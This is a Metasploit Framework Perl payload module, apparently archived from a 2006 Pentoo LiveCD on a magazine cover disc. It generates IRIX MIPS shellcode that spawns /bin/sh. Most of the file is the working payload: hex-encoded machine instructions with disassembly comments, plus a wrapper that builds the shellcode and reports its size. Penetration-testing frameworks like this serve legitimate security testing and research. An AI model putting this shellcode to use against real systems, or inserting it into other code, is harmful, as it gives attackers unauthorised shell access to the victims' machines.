home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / usr / lib / metasploit / payloads / irix_mips_execve.pm < prev    next >
Encoding:
Perl POD Document  |  2006-06-30  |  1.9 KB  |  67 lines
  1.  
  2. ##
  3. # This file is part of the Metasploit Framework and may be redistributed
  4. # according to the licenses defined in the Authors field below. In the
  5. # case of an unknown or missing license, this file defaults to the same
  6. # license as the core Framework (dual GPLv2 and Artistic). The latest
  7. # version of the Framework can always be obtained from metasploit.com.
  8. ##
  9.  
  10. package Msf::Payload::irix_mips_execve;
  11. use strict;
  12. use base 'Msf::PayloadComponent::FindConnection';
  13.  
  14. my $info =
  15. {
  16.   'Name'         => 'Irix MIPS Execute Shell',
  17.   'Version'      => '$Revision: 1.4 $',
  18.   'Description'  => 'Execute a shell on the default file descriptors',
  19.   'Authors'      => [ 'LSD [Unknown License]', ],
  20.   'Arch'         => [ 'mips' ],
  21.   'Priv'         => 0,
  22.   'OS'           => [ 'irix' ],
  23.   'Size'         => '',
  24.   # 'Keys'         => ['inetd'], # can use execve for inetd-based exploits
  25. };
  26.  
  27. sub new {
  28.   my $class = shift;
  29.   my $hash = @_ ? shift : { };
  30.   $hash = $class->MergeHash($hash, {'Info' => $info});
  31.   my $self = $class->SUPER::new($hash, @_);
  32.  
  33.   $self->_Info->{'Size'} = $self->_GenSize;
  34.   return($self);
  35. }
  36.  
  37. sub Build {
  38.   my $self = shift;
  39.   return($self->Generate());
  40. }
  41.  
  42. sub Generate {
  43.   my $self = shift;
  44.  
  45.   my $shellcode =
  46.     "\x04\x10\xff\xff".    # /* bltzal  $zero,<shellcode>      */
  47.     "\x24\x02\x03\xf3".    # /* li      $v0,1011               */
  48.     "\x23\xff\x01\x14".    # /* addi    $ra,$ra,276            */
  49.     "\x23\xe4\xff\x08".    # /* addi    $a0,$ra,-248           */
  50.     "\x23\xe5\xff\x10".    # /* addi    $a1,$ra,-220           */
  51.     "\xaf\xe4\xff\x10".    # /* sw      $a0,-220($ra)          */
  52.     "\xaf\xe0\xff\x14".    # /* sw      $zero,-236($ra)        */
  53.     "\xa3\xe0\xff\x0f".    # /* sb      $zero,-241($ra)        */
  54.     "\x03\xff\xff\xcc".    # /* syscall                        */
  55.     "/bin/sh";
  56.  
  57.   return($shellcode);
  58. }
  59.  
  60. sub _GenSize {
  61.   my $self = shift;
  62.   my $bin = $self->Generate();
  63.   return(length($bin));
  64. }
  65.  
  66. 1;
  67.